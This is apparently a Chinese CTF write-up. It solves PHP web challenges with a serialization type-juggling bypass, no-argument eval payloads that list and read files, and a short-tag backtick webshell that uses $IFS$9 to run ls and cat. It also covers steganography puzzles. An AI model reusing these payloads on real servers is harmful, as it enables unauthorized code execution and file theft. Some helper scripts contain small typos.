WEB web1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file(__FILE__ ); $username = str_shuffle(md5("admin" ));$password = str_shuffle(md5("root" ));$login = false ;if (isset ($_GET ['str' ])) {$str = $_GET ['str' ];$unserialize_str = unserialize($str );if ($unserialize_str ['username' ] == $username && $unserialize_str ['password' ]== $password ) { $login = true ;} } if ($login && isset ($_GET ['code' ])) {if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) {if (!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|sessio n|getallheaders|system|array|implode/i' , $_GET ['code' ])) {eval ($_GET ['code' ]);} else { echo "含有危险函数" . "<br/>" ;} } else { echo "不符合正则表达式" . "<br/>" ;} }
代码审计,可以得知要做的有两点。第一点是通过第一个if语句返回true,第二点是通过第二个if,执行eval函数拿flag
1 2 3 $unserialize_str = unserialize($str );if ($unserialize_str ['username' ] == $username && $unserialize_str ['password' ]== $password ) {
$username和$password都是经过md5加密,想要满足左边==右边,只需左边的bool为true即可。由于php是弱类型语⾔,所以bool值为true的变量和任何变量⽐较都相等,除了0和false,因为0认为是bool false
构造 $str
1 2 3 4 5 6 7 8 <?php $a =array ( "username" =>true , "password" =>true ); var_dump($a ); echo serialize($a );?>
1 a:2:{s:8:"username";b:1;s:8:"password";b:1;}
第二部分则是考察无字母RCE,下面是被ban掉的函数
1 highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode
发现可以利用scandir()函数,而scandir(‘.’)则会返回当前文件夹的目录
1 var_dump(scandir('.'));//就可以打印当前目录出来
正则过滤掉’.’,所以用其他嵌套函数来取代这个’.’
这里用了嵌套三角函数
1 chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
所以payload
1 var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
1 ?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
flag在最后一个文件,读取最后一个文件
1 ?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=code=var_dump(readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))));
web2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting(0 ); highlight_file(__FILE__ ); function check ($input ) { if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input )){ die ('hacker!!!' ); }else { return $input ; } } function waf ($input ) { if (is_array($input )){ foreach ($input as $key =>$output ){ $input [$key ] = waf($output ); } }else { $input = check($input ); } } $dir = 'sandbox/' . md5($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists($dir )){ mkdir($dir ); } switch ($_GET ["action" ] ?? "" ) { case 'pwd' : echo $dir ; break ; case 'upload' : $data = $_GET ["data" ] ?? "" ; waf($data ); file_put_contents("$dir " . "index.php" , $data ); } ?>
控制点就是$data,$data过了cheak方法就能执行file_put_contents()方法。所以要做的就是绕过正则匹配
⽤短标签绕过对php的过滤, $IFS$9 代替空格
1 ?action=upload&data=<?=`ls\$IFS\$9/`?>
得到文件列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 !whatyouwantggggggg401.php bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
用通配符读取文件
1 ?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>
web3 MISC 隐藏的书 010打开zip,看到这个字段是奇数,考虑伪加密
改成偶数8。正常打开zip
根据期刊论⽂编写脚本,解码就得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php function UnicodeEncode ($str ) {preg_match_all('/./u' ,$str ,$matches ); $unicodeStr = "" ;foreach ($matches [0 ] as $m ){$unicodeStr .= "\\u" .substr('0000' .base_convert(ord($m ),10 ,16 ),-4 );} return $unicodeStr ;} function UnicodeDecode ($str ) {$result ='' ;$UnicodeStrArry = explode('\\u' , $str );foreach ($UnicodeStrArry as $value ) {if (empty ($value ))continue ;$result .= chr(base_convert($value ,16 ,10 ));} return $result ;} function encrypt ($laws ,$Hiddentext ) {$secret ="" ;for ($i =0 ;$i <strlen($Hiddentext );$i ++){$temp = ord($Hiddentext [$i ]);$temp = base_convert($temp ,10 ,2 );$temp = substr('00000000' .$temp ,-8 );$temp = str_split($temp ,4 );foreach ($temp as $value ) {$secret .= "\\u" .substr('0000' .base_convert($value ,2 ,16 ),-4 );} } $secret = UnicodeDecode($secret );$Ci = explode("." ,$laws );$Ca = $Ci [0 ]."." ;$Cb = $Ci [1 ];$Ciphertext = $Ca .$secret .$Cb ;return $Ciphertext ;} function decrypt ($Ciphertext ) {$tmp = "" ;$laws = "" ;for ($i =0 ;$i <strlen($Ciphertext );$i ++){if (!(32 <ord($Ciphertext [$i ])&&ord($Ciphertext [$i ])<127 )){$tmp .= UnicodeEncode($Ciphertext [$i ]);} } $tmp = explode('\u' ,$tmp );$m ='' ;for ($i =0 ;$i <count($tmp );$i ++){if (empty ($tmp [$i ]))continue ;$t = substr('0000' .base_convert($tmp [$i ],16 ,2 ),-4 );$m .= $t ;if (strlen($m )==8 ){$laws .=chr(base_convert($m ,2 ,10 ));$m ='' ;} } return $laws ;} echo decrypt(file_get_contents('flag.txt' ));?>
你能看到图片里的flag吗 ⽤Stegsolve打开 key.gif 查看详细信息,发现不是每⼀帧的时间都相同,时间间隔不是20就是30,考 虑gif时间隐写
⽤kali⾃带的⼯具提取时间间隔
1 identify -format "%T" key.gif
得到
1 2 2030302030302030203030202030202020203030203020302030203030303030203030203020202 0203030202030203020303030202030202030302020302030
将20替换为0,30替换为1
1 0110110101100100001101010101111101101000011001010111001001100101
二进制字符串转换
md5加密
1 623a3f3d828099e440475ce285c341ac
得到了hint.rar密码
解压得到两个文件
hint.txt
文件提示:
1 2 使⽤邻近法放缩图⽚ 图⽚的宽度和⾼度在width_height.txt
width_height.txt
得到坐标集合,通过python将这些坐标输出到图⽚上
1 2 3 4 5 6 7 8 from PIL import Image img = Image.new('RGB', (200, 200), (0, 0, 0)) f = open('width_height.txt') for line in f.readlines(): point = line.split() img.putpixel((int(point[0]), int(point[1])), (255, 255, 255)) f.close() img.show()
得到一张二维码
扫码:
PS打开flag.png,按住 Ctrl+alt+I 调整图⽚⼤⼩
神秘的铃声 解压,得到flag.wav,用010打开,发现base64
解base64,得到PK头,说明是压缩文件:
将原文放在test.txt,再导出为zip文件
1 2 3 4 5 6 7 8 9 10 <?php $filepath ='test.txt' ;$fp =fopen($filpath , 'rb' );$content =fread($fp , filesize($filpath ));fclose($fp ); $content =base64_decode($content );$filename ='123.zip' ;$zip_fp =fopen($filename , 'wb' );fwrite($zip_fp , $content ); ?>
发现要密码:
音频为一段DTMF,解密得到密码:
解压得到flag.txt是一串坐标,转换二维码
1 2 3 4 5 6 7 8 9 10 from PIL import Imageimg = Image.new('RGB' ,(500 ,500 ),(0 ,0 ,0 )) f = open ('flag.txt' ) for line in f.readlines():point = line.split() img.putpixel((int (point[0 ]),int (point[1 ])),(255 ,255 ,255 )) f.close() img.show()